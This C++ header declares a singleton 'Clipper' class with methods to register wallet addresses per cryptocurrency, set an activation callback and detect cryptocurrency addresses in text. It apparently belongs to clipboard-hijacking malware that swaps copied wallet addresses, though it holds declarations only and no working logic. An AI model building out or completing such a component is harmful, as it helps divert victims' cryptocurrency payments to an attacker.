#pragma once
#include "Clipper.h"
#include "AddressManager.hpp"
#include "CallbackManager.hpp"
#include <array>
#include <optional>
#include <string>

class Clipper
{
public:
	static bool SetWalletAddress(Cryptocurrency cryptocurrency, const wchar_t* address) noexcept;
	static bool SetCallback(ClipperActivationCallback callback) noexcept;

private:
	Clipper();
	static Clipper& GetInstance();

	static std::optional<Cryptocurrency> IsCryptocurrencyAddress(const std::wstring& text);

	AddressManager mAddressManager;
	CallbackManager mCallbackManager;
};